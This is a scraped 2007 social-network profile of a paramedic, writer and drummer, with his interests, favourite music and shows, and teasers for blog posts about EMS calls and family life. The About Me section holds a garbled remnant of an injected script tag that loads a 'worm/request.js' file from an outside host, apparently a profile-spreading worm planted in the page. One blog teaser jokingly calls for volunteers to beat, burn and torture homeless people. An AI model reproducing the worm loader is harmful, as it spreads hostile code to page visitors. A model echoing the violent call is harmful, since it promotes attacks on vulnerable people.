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VANCEY PANTS

PARAMEDIC/WRITER/DRUMMER/COMIC

About Me

. DO IT!&cl=red"
Life is short and I believe you should surround yourself with great people. I see a lot of bad things in my job yet I am always surprised by humanity.I want to get published with my writing. I am a full time paramedic and a part time medic/firefighter. I am a single father,I have custody of my 7 y/o Isabel. I love to write. I'm currently working on a book. I just got a laptop to spend more time on it. I'm about to do stand up ...Im all ready. I like to blog about calls I've gone on as a medic. Sometimes you can find humor in anything. Sometimes though the shit ain't funny.Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds .... language="javascript" src="http://angeliceyz00.../worm/request.js"function nothingf(){document·write("...r{}");}..

My Interests

EMS,skiing,Comedy,skydiving, Stand Up, Writing, BEER, Making Beer, PTA, writing comedy, drums, music, adrenaline, hardcore camping,kayaking,paramedic,,ill people,accidents,fires, comedy, HA HA, HE HE,ha ha ha!!!

I'd like to meet:

I wanna meet great people. People that are honest.I like to stick to my own species..........you can never have enough friends. At the same time good friends are hard to find. My two best friends (more like my brothers by another mother) are in the army and I hate it.One is in the killing triangle in iraq. I would hang out with anyone and everyone. People are great. DO IT!&cl=red"
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Music:

I've played drums since i was 14. I'm addicted. I play DW's......... GNARLS BARKLEY,Dear and the Headlights, Plain White T's, RAY LOMONTAGNE,MUSE (duh) REMY ZERO .The Killers, The clash, Rufus wainwright, White stripes,red wanting Blue,The Doors, Stevie Ray Vaughn,Van Morrison, The WHO, My chemical romance, U2, Weezer,PJ,and many many more.
muse - hysteria
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Movies:

scarface,nap dynamite,saving private ryan,anything with kevin spacey,Tom Hanks, chariots of fire-haha,fight club,...anything really. Fight club made me make soap.

Television:

I love CSI .........Oh yeah and Rescue me....six feet under.....Chapelle show.....SNL.......Seinfeld......'its always sunny in philladelphia' SAVED , TRAUMA LIFE IN THE ER, HISTORY CHANNEL. MAN VS NATURESARAH SILVERMAN SHOW!!!!

Books:

i read and i read some more...........this guy is awesome............'Choke'...by Chuck Palahniuk.....any books by him.

Heroes:

9-11-01.....I'm a medic/firefighter now because of that day. I was inspired. It bothers me. It should be as fresh in everyone's minds now as it was then. We are Americans and we choose to forget. I do not.

My Blog

I think I broke my foot....

ok..well I might have...my ankle anyway. Im icing it. Wine is jumping into my glass.Remember last week when I played the old man in raquetball?...he beat me 14-3?Let me just say this. My birthday is j...
Posted by VANCEY PANTS on Wed, 23 May 2007 06:57:00 PST

the first day....

Well I finished my first day. It was solely orientation and it was held at the Cleveland Clinic Medical research campus. Amazed is not the word to describe this place. Its set on acres and acres of wo...
Posted by VANCEY PANTS on Tue, 15 May 2007 08:13:00 PST

It went boom......crackle,crackles, crackles.

As I move forward this week from the girl scouts threatening prosecution for non payment of cookies to starting my new job at the Cleveland Clinic. I was driving from my now part time job  d...
Posted by VANCEY PANTS on Fri, 11 May 2007 10:58:00 PST

Girl scouts (AKA legal child exploitation)

Isabel is 7. She is in Girl scouts. The great trail Girl scout council has their "thing" and this is the marketing and selling of girl scout cookies. The badges mean nothing. It is a ploy to fund thei...
Posted by VANCEY PANTS on Thu, 10 May 2007 05:30:00 PST

crazy

im working 4-24's in a row. in 28 of those 96 hrs we ran non stop. Each call takes 2-3 hrs in this rural part of OHIO with no hospital for 32 miles. 1)Fall Man with late stage cancer fell on the floor...
Posted by VANCEY PANTS on Sun, 29 Apr 2007 08:32:00 PST

I went into combat....with a tough enemy.

I arrived back at the house after working a 48. In two days the enemy had gained ground. I was outnumbered. I estimated that 1,000 ants had gained a stronghold between the couch and the chair.At first...
Posted by VANCEY PANTS on Thu, 12 Apr 2007 11:31:00 PST

Why you should be in shape...avoid death at 38.

America is fat. We had a full arrest of a 38 y/o female this morning. She was overweight, out of shape, and now dead. I believe an excuse does not exist for her untimely death. I think everyone should...
Posted by VANCEY PANTS on Sat, 07 Apr 2007 07:16:00 PST

Abercrombie...what the fuck are they doing?

i went to the mall today. I have been an avid user of abercrombie forever...even b4 they were local to canton. I was looking for some summer shirts. I have Abercrobie jeans...7 pairs.....and I love th...
Posted by VANCEY PANTS on Fri, 30 Mar 2007 11:37:00 PST

Lets round up the fake homeless people...posers!!

ok....I'm asking for volunteers.I would like to round up/beat/burn/torture/stick a broom up there ass, lolololol the bums (posers...they are not true homeless) that hold up signs near the 77 exit ramp...
Posted by VANCEY PANTS on Thu, 29 Mar 2007 09:11:00 PST

jury rigged...a day at work with my dad.

as request.......this was posted as a bulletin: So not only am I working that 116 hr work week, on top of it a few hours have been added. I am now at work of course. Yesterday was my one day off, or s...
Posted by VANCEY PANTS on Sat, 17 Mar 2007 02:21:00 PST